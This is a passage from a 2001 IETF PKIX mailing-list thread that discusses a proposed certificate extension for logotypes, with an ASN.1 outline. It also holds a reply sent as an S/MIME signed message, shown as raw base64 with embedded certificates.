>signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE 
>DATA WOULD BE VERY USEFUL.
>
>         Why is that so?
>
>         The answer is that logotypes are carriers of trust and are 
>widely recognized tools for trust recognition. Have you ever thought 
>why EVERY physical instrument of trust, from loyalty cards, credit 
>cards to Passports, contain trust symbols in the form of logotypes.
>
>         Are certificates different? ABSOLUTELY NOT!!
>
>         If PKI is to take off in the private market, the certificates 
>must be user friendly and carry the same functionality (in electronic
>form) as ID-cards, passports and other physical ID:s do in physical 
>form. And logotypes are a FUNDAMENTAL part of that.
>
>         Without logotypes, certificates can only be handled and 
>presented as textual information for technically oriented users. This 
>is the reality I see.
>
>         What is your observation?
>
>         How can we then do this?
>
>         Technically speaking, we don't have to include the actual 
>logotype image and we don't have to destroy legacy applications.
>         I would suggest that we use the same mechanism that we 
>specified for biometric data in RFC 3039 where a non-critical extension

>can include for each logotype:
>
>         -  type of logo
>         -  type of hash algorithm
>         -  hash of logotype data
>         -  URI to location of data
>
>         This will only take a few bytes but will allow new 
>applications to import relevant logotypes, signed by the issuer of the 
>certificate, to be displayed to the user.
>
>         So... What to do with this?
>
>         If this is to be proceeded at all, It could be part of son of 
>RFC 2459, it could be part of a new RFC 3039 and it could be a new 
>draft or merged with some other work. I'm open for suggestions.
>
>         I hope to be able to meet with many of you and discuss this in

>Minneapolis next week.
>
>         /Stefan Santesson
>
>
>         logotypeInfo  EXTENSION ::= {
>                   SYNTAX             LogotypeSyntax
>                   IDENTIFIED BY      id-pe-logotypeInfo }
>
>               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
>
>               LogotypeSyntax ::= SEQUENCE OF LogotypeData
>
>               LogotypeData ::= SEQUENCE {
>                   typeOfLogotype       TypeOflogotype,
>                   hashAlgorithm        AlgorithmIdentifier,
>                   logotypeDataHash     OCTET STRING,
>                   sourceDataUri        IA5String OPTIONAL }
>
>               TypeOflogotype ::= CHOICE {
>                   predefinedLogotypeType    PredefinedLogotypeType,
>                   LogotypeTypeID            OBJECT IDENTIFIER }
>
>               PredefinedLogotypeType ::= INTEGER {
>                   subject-organization-logotype(0),
>                   issuer-organization-logotype(1)
>                   CA-network-logotype(2)}
>                   (subject-organization-logotype|
>                    issuer-organization-logotype|
>                     CA-network-logotype,...)
>
>
>         The predefined logotype types are
>
>         subject-organization-logotype, if used, SHALL be used to 
>include a logotype of the subject organization. The logotype SHALL be 
>consistent with, and require the presence of, an organization name 
>stored in the organization attribute in the subject field.
>
>         issuer-organization-logotype, if used, SHALL be used to 
>include a logotype of the issuer organization. The logotype SHALL be 
>consistent with, and require the presence of, an organization name 
>stored in the organization attribute in the issuer field.
>
>         CA-network-logotype, if used, SHALL be used to include a 
>logotype used by a network of CA services, provided by one or several 
>independent CA's, within which the issuer claims to issue this 
>certificate.
>
>



Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA23993 for <[e-mail]>; Sun, 18 Mar 2001 10:37:36 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Sun, 18 Mar 2001 10:37:56 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 18 Mar 2001 10:38:01 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Sun, 18 Mar 2001 10:38:01 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4668.0
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;smime-type=signed-data;name=smime.p7m; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64
content-class: urn:content-classes:message
Content-Disposition: attachment; filename="smime.p7m"
Subject: RE: Logotypes in certificates
Date: Sun, 18 Mar 2001 10:38:00 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCvQYQnChwVkky9TLiQhLmHhK194wAmGPqg
From: "Trevor Freeman" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>, "David Cross" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 18 Mar 2001 18:38:01.0124 (UTC) FILETIME=[8F79F640:01C0AFDA]

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAaCAJIAEU0NvbnRl
bnQtVHlwZTogdGV4dC9wbGFpbjsNCgljaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNm
ZXItRW5jb2Rpbmc6IDdiaXQNCg0KBIIQAEhpIFN0ZWZhbiwNClRoZSBmdW5kYW1lbnRhbCBnYXAg
aGVyZSBpcyB0aGF0IG1vc3QgdXNlcnMgZG9uJ3Qga25vdyB3aGF0IGENCmNlcnRpZmljYXRlIGlz
LCBhbmQgYXJlIGhhcHB5IHRoYXQgdGhleSBqdXN0IGdldCBhIHNpbXBsZSBpY29uIGlmDQpldmVy
eXRoaW5nIGlzIG9rIG9yIG5vdCByYXRoZXIgdGhhbiBzb21lIFVJIGRldGFpbGluZyB0aGUgY29u
dGVudCBvZiB0aGUNCmNyZWRlbnRpYWwuIE1vc3QgdXNlcnMgbmV2ZXIgbG9vayBhcyB0aGUgY2Vy
dGlmaWNhdGUgVUkuDQpUcmV2b3INCg0KLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCkZyb206
IFN0ZWZhbiBTYW50ZXNzb24gW21haWx0bzpzdGVmYW5AYWNjdXJhdGEuc2VdIA0KU2VudDogU2F0
dXJkYXksIE1hcmNoIDE3LCAyMDAxIDQ6MTQgUE0NClRvOiBEYXZpZCBDcm9zczsgaWV0Zi1wa2l4
QGltYy5vcmcNClN1YmplY3Q6IFJFOiBMb2dvdHlwZXMgaW4gY2VydGlmaWNhdGVzDQoNCg0KRGF2
aWQsDQoNCkNvbW1lbnQgaW4gbGluZTsNCg0KQXQgMTg6NDYgMjAwMS0wMy0xNiAtMDgwMCwgRGF2
aWQgQ3Jvc3Mgd3JvdGU6DQo+U3RlZmFuOg0KPg0KPlNvbWUgY29tbWVudHMgLQ0KPg0KPkZpcnN0
OiAgSSBkbyBub3QgdGhpbmsgdGhhdCB0aGlzIHNob3VsZCBiZSBjb25zaWRlcmVkIGZvciBzb24g
b2YgDQo+UkZDMjQ1OQ0KPi0gd2UgZG8gbm90IHdhbnQgdG8gaG9sZCB0aGlzIHVwIHRvIGNvbnNp
ZGVyIHRoaXMgcHJvcG9zYWwuDQoNClRoYXQncyBPSyB3aXRoIG1lLg0KDQo+DQo+U2Vjb25kOiAg
SSBkbyBub3Qgc2VlIGhvdyBhcHBsaWNhdGlvbnMgd2lsbCBtYWtlIHVzZSBvZiB0aGlzIA0KPmlu
Zm9ybWF0aW9uLiAgSG93IGRvIHlvdSBzZWUgaXQgYmVpbmcgdXNlZD8NCg0KV2VsbCBmaXJzdCBJ
IHdvdWxkIGxpa2UgdG8gc3RhdGUgdGhhdCBJIG5vdyBvZiBzZXZlcmFsIGFwcGxpY2F0aW9ucyB0
aGF0DQoNCndvdWxkIHVzZSB0aGlzIGluZm9ybWF0aW9uIGlmIGl0IHdhcyBhdmFpbGFibGUuIFRo
aXMgaXMgdHlwaWNhbGx5IGFueSANCmFwcGxpY2F0aW9uIHdoaWNoIGluY2x1ZGVzIGEgZnVuY3Rp
b24gdG8gZGlzcGxheSBhIGNlcnRpZmljYXRlcyB0byBhDQpodW1hbiANCnVzZXIuIFRoZXNlIGFw
cGxpY2F0aW9ucyB3aWxsIHNlZWsgdG8gaGF2ZSBhIGRpc3BsYXkgZm9ybWF0IHdoaWNoIG1ha2Vz
IA0Kc2Vuc2UgdG8gdGhlIHVzZXIuIFRoZXNlIGFwcGxpY2F0aW9ucyBjYW4sIGlmIGxvZ290eXBl
IGRhdGEgaXMgcHJlc2VudCwgDQpjaG9vc2UgdG8gZG93bmxvYWQgdGhlc2UgbG9nb3R5cGVzIGFu
ZCBkaXNwbGF5IHRoZW0gdG8gdGhlIHVzZXIgd2hlbiBhIA0KY2VydGlmaWNhdGUgaXMgZGlzcGxh
eWVkLg0KDQpBcHBsaWNhdGlvbnMgZG9uJ3QgY2FyaW5nIGFib3V0IGxvZ29zIHdvbid0IGJlIGVm
ZmVjdGVkIHNpbmNlIHRoZXkganVzdCANCmlnbm9yZSB0aGlzIGluZm9ybWF0aW9uIHdpdGhvdXQg
cHJvYmxlbS4gVGhlIGxvZ28gaXMgb25seSBhIGRpc3BsYXkgDQpmdW5jdGlvbiBhbmQgaGFzIG5v
IHBhcnQgaW4gYW55IEROIG9yIGFsdGVybmF0aXZlIG5hbWUuDQoNCldlIHdpbGwgc3VyZWx5IGlt
cGxlbWVudCB0aGlzIGluIGNlcnRpZmljYXRlcyBpZiB0aGlzIGdldHMgdG8gYmUNCnN1cHBvcnRl
ZCANCmJ5IGFueSBzdGFuZGFyZC4NCg0KL1N0ZWZhbg0KDQo+DQo+VGhpcmQ6ICBQZW9wbGUgYXJl
IGNvbXBsYWluaW5nIGFib3V0IHNpemUgb2YgY2VydHMgbm93LCB0aGlzIHdpbGwgDQo+ZXhwYW5k
IHRoYXQgaXNzdWUNCg0KRXZlcnl0aGluZyBpcyBhIHRyYWRlb2ZmLiBJbiB0aGlzIGNhc2Ugd2Ug
Y2FuIG1lZXQgYW4gaW1wb3J0YW50IGJ1c2luZXNzDQoNCm5lZWQgd2l0aCBqdXN0IGEgZmV3IGJ5
dGVzLiBJIHRoaW5rIHRoaXMgaXMgb25lIG9mIHRob3NlIGNhc2VzIHRoYXQgDQpkZWZpbml0ZWx5
IGlzIHdvcnRoIGl0Lg0KDQovU3RlZmFuDQoNCj4NCj4NCj5EYXZpZCBCLiBDcm9zcw0KPg0KPg0K
PiAgICAgICAgIC0tLS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+ICAgICAgICAgRnJvbTogU3Rl
ZmFuIFNhbnRlc3NvbiBbbWFpbHRvOnN0ZWZhbkBhY2N1cmF0YS5zZV0NCj4gICAgICAgICBTZW50
OiBUaHVyc2RheSwgTWFyY2ggMTUsIDIwMDEgMzoyMiBQTQ0KPiAgICAgICAgIFRvOiBpZXRmLXBr
aXhAaW1jLm9yZw0KPiAgICAgICAgIFN1YmplY3Q6IExvZ290eXBlcyBpbiBjZXJ0aWZpY2F0ZXMN
Cj4NCj4NCj4gICAgICAgICBJbiBsYXN0IFBLSVggbWVldGluZyBpbiBTYW4gRGllZ28gSSBwcmVz
ZW50ZWQgc29tZSB0aG91Z2h0cyBvbg0KDQo+Y3JlYXRpbmcgYSBuZXcgZXh0ZW5zaW9uIGZvciBp
bmNsdXNpb24gb2YgbG9nb3R5cGUgaW5mb3JtYXRpb24gaW4gDQo+Y2VydGlmaWNhdGVzLg0KPg0K
PiAgICAgICAgIExhc3QgaW4gdGhpcyBtYWlsIEkgaW5jbHVkZSBhIHByaW1hcnkgc3VnZ2VzdGVk
IG91dGxpbmUgZm9yIA0KPnN1Y2ggZXh0ZW5zaW9uLg0KPg0KPiAgICAgICAgIEJ1dCBmaXJzdCBh
IHNob3J0IHN1bW1hcnkgb2YgdGhlIHJhdGlvbmFsZToNCj4NCj4gICAgICAgICBBdCBhIGZpcnN0
IGdsYW5jZSBpdCBtYXkgc2VlbSBpcnJlbGV2YW50IHRvIGluY2x1ZGUgbG9nb3R5cGUgDQo+aW5m
b3JtYXRpb24gaW4gY2VydGlmaWNhdGVzIGFuZCBhIG5hdHVyYWwgZmlyc3QgcmVhY3Rpb24gaXMg
Ik9IIE5PLi4uIA0KPk5PVCBBTk9USEVSIFRISU5HIFRPIElOQ0xVREUhISBET04nVCBXRSBIQVZF
IEVOT1VHSD8hISEiDQo+DQo+ICAgICAgICAgVGhlIGZhY3QgaXMgdGhvdWdoIHRoYXQgYXQgdGhl
IEVUU0kgbWVldGluZyB0aGlzIHdlZWsgKEluIHRoZSANCj5ncm91cCB0aGF0IGhhbmRsZXMgRXVy
b3BlYW4gc3RhbmRhcmRzIHJlbGF0ZWQgdG8gZWxlY3Ryb25pYyANCj5zaWduYXR1cmVzKS4gSVQg
V0FTIEdFTkVSQUxMWSBSRUNPR05JWkVEIFRIQVQgSU5DTFVTSU9OIE9GIExPR09UWVBFIA0KPkRB
VEEgV09VTEQgQkUgVkVSWSBVU0VGVUwuDQo+DQo+ICAgICAgICAgV2h5IGlzIHRoYXQgc28/DQo+
DQo+ICAgICAgICAgVGhlIGFuc3dlciBpcyB0aGF0IGxvZ290eXBlcyBhcmUgY2FycmllcnMgb2Yg
dHJ1c3QgYW5kIGFyZSANCj53aWRlbHkgcmVjb2duaXplZCB0b29scyBmb3IgdHJ1c3QgcmVjb2du
aXRpb24uIEhhdmUgeW91IGV2ZXIgdGhvdWdodCANCj53aHkgRVZFUlkgcGh5c2ljYWwgaW5zdHJ1
bWVudCBvZiB0cnVzdCwgZnJvbSBsb3lhbHR5IGNhcmRzLCBjcmVkaXQgDQo+Y2FyZHMgdG8gUGFz
c3BvcnRzLCBjb250YWluIHRydXN0IHN5bWJvbHMgaW4gdGhlIGZvcm0gb2YgbG9nb3R5cGVzLg0K
Pg0KPiAgICAgICAgIEFyZSBjZXJ0aWZpY2F0ZXMgZGlmZmVyZW50PyBBQlNPTFVURUxZIE5PVCEh
DQo+DQo+ICAgICAgICAgSWYgUEtJIGlzIHRvIHRha2Ugb2ZmIGluIHRoZSBwcml2YXRlIG1hcmtl
dCwgdGhlIGNlcnRpZmljYXRlcyANCj5tdXN0IGJlIHVzZXIgZnJpZW5kbHkgYW5kIGNhcnJ5IHRo
ZSBzYW1lIGZ1bmN0aW9uYWxpdHkgKGluIGVsZWN0cm9uaWMNCj5mb3JtKSBhcyBJRC1jYXJkcywg
cGFzc3BvcnRzIGFuZCBvdGhlciBwaHlzaWNhbCBJRDpzIGRvIGluIHBoeXNpY2FsIA0KPmZvcm0u
IEFuZCBsb2dvdHlwZXMgYXJlIGEgRlVOREFNRU5UQUwgcGFydCBvZiB0aGF0Lg0KPg0KPiAgICAg
ICAgIFdpdGhvdXQgbG9nb3R5cGVzLCBjZXJ0aWZpY2F0ZXMgY2FuIG9ubHkgYmUgaGFuZGxlZCBh
bmQgDQo+cHJlc2VudGVkIGFzIHRleHR1YWwgaW5mb3JtYXRpb24gZm9yIHRlY2huaWNhbGx5IG9y
aWVudGVkIHVzZXJzLiBUaGlzIA0KPmlzIHRoZSByZWFsaXR5IEkgc2VlLg0KPg0KPiAgICAgICAg
IFdoYXQgaXMgeW91ciBvYnNlcnZhdGlvbj8NCj4NCj4gICAgICAgICBIb3cgY2FuIHdlIHRoZW4g
ZG8gdGhpcz8NCj4NCj4gICAgICAgICBUZWNobmljYWxseSBzcGVha2luZywgd2UgZG9uJ3QgaGF2
ZSB0byBpbmNsdWRlIHRoZSBhY3R1YWwgDQo+bG9nb3R5cGUgaW1hZ2UgYW5kIHdlIGRvbid0IGhh
dmUgdG8gZGVzdHJveSBsZWdhY3kgYXBwbGljYXRpb25zLg0KPiAgICAgICAgIEkgd291bGQgc3Vn
Z2VzdCB0aGF0IHdlIHVzZSB0aGUgc2FtZSBtZWNoYW5pc20gdGhhdCB3ZSANCj5zcGVjaWZpZWQg
Zm9yIGJpb21ldHJpYyBkYXQEggrQYSBpbiBSRkMgMzAzOSB3aGVyZSBhIG5vbi1jcml0aWNhbCBl
eHRlbnNpb24NCg0KPmNhbiBpbmNsdWRlIGZvciBlYWNoIGxvZ290eXBlOg0KPg0KPiAgICAgICAg
IC0gIHR5cGUgb2YgbG9nbw0KPiAgICAgICAgIC0gIHR5cGUgb2YgaGFzaCBhbGdvcml0aG0NCj4g
ICAgICAgICAtICBoYXNoIG9mIGxvZ290eXBlIGRhdGENCj4gICAgICAgICAtICBVUkkgdG8gbG9j
YXRpb24gb2YgZGF0YQ0KPg0KPiAgICAgICAgIFRoaXMgd2lsbCBvbmx5IHRha2UgYSBmZXcgYnl0
ZXMgYnV0IHdpbGwgYWxsb3cgbmV3IA0KPmFwcGxpY2F0aW9ucyB0byBpbXBvcnQgcmVsZXZhbnQg
bG9nb3R5cGVzLCBzaWduZWQgYnkgdGhlIGlzc3VlciBvZiB0aGUgDQo+Y2VydGlmaWNhdGUsIHRv
IGJlIGRpc3BsYXllZCB0byB0aGUgdXNlci4NCj4NCj4gICAgICAgICBTby4uLiBXaGF0IHRvIGRv
IHdpdGggdGhpcz8NCj4NCj4gICAgICAgICBJZiB0aGlzIGlzIHRvIGJlIHByb2NlZWRlZCBhdCBh
bGwsIEl0IGNvdWxkIGJlIHBhcnQgb2Ygc29uIG9mIA0KPlJGQyAyNDU5LCBpdCBjb3VsZCBiZSBw
YXJ0IG9mIGEgbmV3IFJGQyAzMDM5IGFuZCBpdCBjb3VsZCBiZSBhIG5ldyANCj5kcmFmdCBvciBt
ZXJnZWQgd2l0aCBzb21lIG90aGVyIHdvcmsuIEknbSBvcGVuIGZvciBzdWdnZXN0aW9ucy4NCj4N
Cj4gICAgICAgICBJIGhvcGUgdG8gYmUgYWJsZSB0byBtZWV0IHdpdGggbWFueSBvZiB5b3UgYW5k
IGRpc2N1c3MgdGhpcyBpbg0KDQo+TWlubmVhcG9saXMgbmV4dCB3ZWVrLg0KPg0KPiAgICAgICAg
IC9TdGVmYW4gU2FudGVzc29uDQo+DQo+DQo+ICAgICAgICAgbG9nb3R5cGVJbmZvICBFWFRFTlNJ
T04gOjo9IHsNCj4gICAgICAgICAgICAgICAgICAgU1lOVEFYICAgICAgICAgICAgIExvZ290eXBl
U3ludGF4DQo+ICAgICAgICAgICAgICAgICAgIElERU5USUZJRUQgQlkgICAgICBpZC1wZS1sb2dv
dHlwZUluZm8gfQ0KPg0KPiAgICAgICAgICAgICAgIGlkLXBlLWxvZ290eXBlSW5mbyBPQkpFQ1Qg
SURFTlRJRklFUiAgOjo9IHtpZC1wZSBYWH0NCj4NCj4gICAgICAgICAgICAgICBMb2dvdHlwZVN5
bnRheCA6Oj0gU0VRVUVOQ0UgT0YgTG9nb3R5cGVEYXRhDQo+DQo+ICAgICAgICAgICAgICAgTG9n
b3R5cGVEYXRhIDo6PSBTRVFVRU5DRSB7DQo+ICAgICAgICAgICAgICAgICAgIHR5cGVPZkxvZ290
eXBlICAgICAgIFR5cGVPZmxvZ290eXBlLA0KPiAgICAgICAgICAgICAgICAgICBoYXNoQWxnb3Jp
dGhtICAgICAgICBBbGdvcml0aG1JZGVudGlmaWVyLA0KPiAgICAgICAgICAgICAgICAgICBsb2dv
dHlwZURhdGFIYXNoICAgICBPQ1RFVCBTVFJJTkcsDQo+ICAgICAgICAgICAgICAgICAgIHNvdXJj
ZURhdGFVcmkgICAgICAgIElBNVN0cmluZyBPUFRJT05BTCB9DQo+DQo+ICAgICAgICAgICAgICAg
VHlwZU9mbG9nb3R5cGUgOjo9IENIT0lDRSB7DQo+ICAgICAgICAgICAgICAgICAgIHByZWRlZmlu
ZWRMb2dvdHlwZVR5cGUgICAgUHJlZGVmaW5lZExvZ290eXBlVHlwZSwNCj4gICAgICAgICAgICAg
ICAgICAgTG9nb3R5cGVUeXBlSUQgICAgICAgICAgICBPQkpFQ1QgSURFTlRJRklFUiB9DQo+DQo+
ICAgICAgICAgICAgICAgUHJlZGVmaW5lZExvZ290eXBlVHlwZSA6Oj0gSU5URUdFUiB7DQo+ICAg
ICAgICAgICAgICAgICAgIHN1YmplY3Qtb3JnYW5pemF0aW9uLWxvZ290eXBlKDApLA0KPiAgICAg
ICAgICAgICAgICAgICBpc3N1ZXItb3JnYW5pemF0aW9uLWxvZ290eXBlKDEpDQo+ICAgICAgICAg
ICAgICAgICAgIENBLW5ldHdvcmstbG9nb3R5cGUoMil9DQo+ICAgICAgICAgICAgICAgICAgIChz
dWJqZWN0LW9yZ2FuaXphdGlvbi1sb2dvdHlwZXwNCj4gICAgICAgICAgICAgICAgICAgIGlzc3Vl
ci1vcmdhbml6YXRpb24tbG9nb3R5cGV8DQo+ICAgICAgICAgICAgICAgICAgICAgQ0EtbmV0d29y
ay1sb2dvdHlwZSwuLi4pDQo+DQo+DQo+ICAgICAgICAgVGhlIHByZWRlZmluZWQgbG9nb3R5cGUg
dHlwZXMgYXJlDQo+DQo+ICAgICAgICAgc3ViamVjdC1vcmdhbml6YXRpb24tbG9nb3R5cGUsIGlm
IHVzZWQsIFNIQUxMIGJlIHVzZWQgdG8gDQo+aW5jbHVkZSBhIGxvZ290eXBlIG9mIHRoZSBzdWJq
ZWN0IG9yZ2FuaXphdGlvbi4gVGhlIGxvZ290eXBlIFNIQUxMIGJlIA0KPmNvbnNpc3RlbnQgd2l0
aCwgYW5kIHJlcXVpcmUgdGhlIHByZXNlbmNlIG9mLCBhbiBvcmdhbml6YXRpb24gbmFtZSANCj5z
dG9yZWQgaW4gdGhlIG9yZ2FuaXphdGlvbiBhdHRyaWJ1dGUgaW4gdGhlIHN1YmplY3QgZmllbGQu
DQo+DQo+ICAgICAgICAgaXNzdWVyLW9yZ2FuaXphdGlvbi1sb2dvdHlwZSwgaWYgdXNlZCwgU0hB
TEwgYmUgdXNlZCB0byANCj5pbmNsdWRlIGEgbG9nb3R5cGUgb2YgdGhlIGlzc3VlciBvcmdhbml6
YXRpb24uIFRoZSBsb2dvdHlwZSBTSEFMTCBiZSANCj5jb25zaXN0ZW50IHdpdGgsIGFuZCByZXF1
aXJlIHRoZSBwcmVzZW5jZSBvZiwgYW4gb3JnYW5pemF0aW9uIG5hbWUgDQo+c3RvcmVkIGluIHRo
ZSBvcmdhbml6YXRpb24gYXR0cmlidXRlIGluIHRoZSBpc3N1ZXIgZmllbGQuDQo+DQo+ICAgICAg
ICAgQ0EtbmV0d29yay1sb2dvdHlwZSwgaWYgdXNlZCwgU0hBTEwgYmUgdXNlZCB0byBpbmNsdWRl
IGEgDQo+bG9nb3R5cGUgdXNlZCBieSBhIG5ldHdvcmsgb2YgQ0Egc2VydmljZXMsIHByb3ZpZGVk
IGJ5IG9uZSBvciBzZXZlcmFsIA0KPmluZGVwZW5kZW50IENBJ3MsIHdpdGhpbiB3aGljaCB0aGUg
aXNzdWVyIGNsYWltcyB0byBpc3N1ZSB0aGlzIA0KPmNlcnRpZmljYXRlLg0KPg0KPg0KDQoAAAAA
AACggiB+MIIDQDCCAqmgAwIBAgIQISVm9151hLhHj3tZtKniEjANBgkqhkiG9w0BAQUFADBMMQsw
CQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MQ4wDAYDVQQLEwVOdGRldjEZMBcGA1UEAxMQ
TlRERVYgU0EgUm9vdCBDQTAeFw0wMDA5MjAyMTI0NDVaFw0wMjA5MjAyMTMzMjhaMEwxCzAJBgNV
BAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MRkwFwYDVQQDExBOVERF
ViBTQSBSb290IENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHKbdsG0n3d6n1gz14W2sl
KYUDw0bo63FMpEsvKitcxg1TMux2jO8ZZ1JnCXNu8BNqTOvOuK6qrtCBoHMm9LQ6rzIDO2Gp/SMF
DKwa9MfUseJ6jduYIUU45S0a990kZsQy9NvxxPTLECA8ns6vRZm1rvt/8BFQ1Za/qDtM1RSF7QID
AQABo4IBITCCAR0wEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0PBAQDAgFGMA8GA1UdEwEB/wQF
MAMBAf8wHQYDVR0OBBYEFHfJdGksOf44ZfSHBVgIzr26l9oQMIG2BgNVHR8Ega4wgaswgaiggaWg
gaKGTmh0dHA6Ly93aGljYXNhcm9vdGNhLm50ZGV2Lm1pY3Jvc29mdC5jb20vQ2VydEVucm9sbC9O
VERFViUyMFNBJTIwUm9vdCUyMENBLmNybIZQZmlsZTovL1xcd2hpY2FzYXJvb3RjYS5udGRldi5t
aWNyb3NvZnQuY29tXENlcnRFbnJvbGxcTlRERVYlMjBTQSUyMFJvb3QlMjBDQS5jcmwwEAYJKwYB
BAGCNxUBBAMCAQAwDQYJKoZIhvcNAQEFBQADgYEACPnhbyTNqKz2/zcEkKRAVKBV6OPeO6c9kLFR
4KcbPMOavFS449yh+hiVLBn/XW4uhVVzmoKQRmSdZKbBFFWKKLPJ/d1G5ixH2x4/aLElS0ocfBuo
d6hClSlmk635zPIs4omk9z2KHH3Xte6YMKs1MXRSufymi4b3BjIHfBSeZJ0wggUwMIIE76ADAgEC
Agphb9TYAAAAAAADMAkGByqGSM44BAMwYTELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCU1pY3Jvc29m
dDEOMAwGA1UECxMFTnRkZXYxLjAsBgNVBAMTJU5UREVWIEludGVybWVkaWF0ZSBTdWJvcmRpbmF0
ZSBXaGljYTIwHhcNMDAwOTI1MjMyNzIzWhcNMDEwOTI1MjMzNDE2WjBLMQswCQYDVQQGEwJVUzES
MBAGA1UEChMJTWljcm9zb2Z0MQ4wDAYDVQQLEwVOdGRldjEYMBYGA1UEAxMPTlRERVYgSVNTVUUz
IENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6kcw3SUnD1p7YhzbJkEgIKp4/YfpF7gHV
GeT4oRO0XRLXmOrt5rmf/7PjcNr0KqO6c0lotPutfij00dQ3t4/loqVntpE/4ShPTAHnU4+yNkq4
Vam1t0vs8RUcC45Ss46PJnQhNHjfa+pwn8vcCi5PK4K43v/WTD20wxGXl6vORQIDAQABo4IDXTCC
A1kwEAYJKwYBBAGCNxUBBAMCAQAwHQYDVR0OBBYEFMlEVkqQE3yp8zMGa97QmbvnyM7pMBkGCSsG
AQQBgjcUAgQMHgoAUwB1AGIAQwBBMAsGA1UdDwQEAwIBRjAPBgNVHRMBAf8EBTADAQH/MB8GA1Ud
IwQYMBaAFHkgjt6k3yRXIoK+bc4LmPwUzkFCMIIBVgYDVR0fBIIBTTCCAUkwggFFoIIBQaCCAT2G
XGh0dHA6Ly93aGljYTIubnRkZXYubWljcm9zb2Z0LmNvbS9DZXJ0RW5yb2xsL05UREVWJTIwSW50
ZXJtZWRpYXRlJTIwU3Vib3JkaW5hdGUlMjBXaGljYTIuY3JshoHcbGRhcDovLy9DTj1OVERFViUy
MEludGVybWVkaWF0ZSUyMFN1Ym9yZGluYXRlJTIwV2hpY2EyLENOPXdoaWNhMixDTj1DRFAsQ049
UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1u
dGRldixEQz1taWNyb3NvZnQsREM9Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9v
YmplY3RjbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCCAXAGCCsGAQUFBwEBBIIBYjCCAV4wgYMG
CCsGAQUFBzAChndodHRwOi8vd2hpY2EyLm50ZGV2Lm1pY3Jvc29mdC5jb20vQ2VydEVucm9sbC93
aGljYTIubnRkZXYubWljcm9zb2Z0LmNvbV9OVERFViUyMEludGVybWVkaWF0ZSUyMFN1Ym9yZGlu
YXRlJTIwV2hpY2EyLmNydDCB1QYIKwYBBQUHMAKGgchsZGFwOi8vL0NOPU5UREVWJTIwSW50ZXJt
ZWRpYXRlJTIwU3Vib3JkaW5hdGUlMjBXaGljYTIsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNl
cnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bnRkZXYsREM9bWljcm9zb2Z0
LERDPWNvbT9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Y2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhv
cml0eTAJBgcqhkjOOAQDAzAAMC0CFQDlQfFYsFnzNeAmB3t5wngFbmmjggIUJ/dURXIXuTlcmgwh
WsO8MEfBWtswggVIMIIFBqADAgECAgoZTSjnAAAAAAA5MAkGByqGSM44BAMwYTELMAkGA1UEBhMC
VVMxEjAQBgNVBAoTCU1pY3Jvc29mdDEOMAwGA1UECxMFTnRkZXYxLjAsBgNVBAMTJU5UREVWIElu
dGVybWVkaWF0ZSBTdWJvcmRpbmF0ZSBXaGljYTIwHhcNMDEwMjAzMTk1ODExWhcNMDEwMzE3MjAw
ODExWjBiMRMwEQYKCZImiZPyLGQBGRYDY29tMRkwFwYKCZImiZPyLGQBGRYJbWljcm9zb2Z0MRUw
EwYKCZImiZPyLGQBGRYFbnRkZXYxGTAXBgNVBAMTEE5UREVWIElzc3VlNjQgQ0EwgZ8wDQYJKoZI
hvcNAQEBBQADgY0AMIGJAoGBAM1vYQveaRoRhPe35I2E0EkuKsE7EhlXiD5dRVaYrDCEL2K2Ow6r
gzx+eNmJvHBGo3pCH60DIKB/Au4scRDdqqTyNB3rZDVQK3kAclqrkEJFWKOSnfVtQ1GalqZs/hrz
Bm2kLy5P36zfT7DIry3Ojs7W0cmtBs7B7ePPHjgmP41nAgMBAAGjggNdMIIDWTAQBgkrBgEEAYI3
FQEEAwIBADAdBgNVHQ4EFgQUto7lY8/2z1Wv6NUwA9kBr7ngV6AwGQYJKwYBBAGCNxQCBAweCgBT
AHUAYgBDAEEwCwYDVR0PBAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUeSCO3qTf
JFcigr5tzguY/BTOQUIwggFWBgNVHR8EggFNMIIBSTCCAUWgggFBoIIBPYZcaHR0cDovL3doaWNh
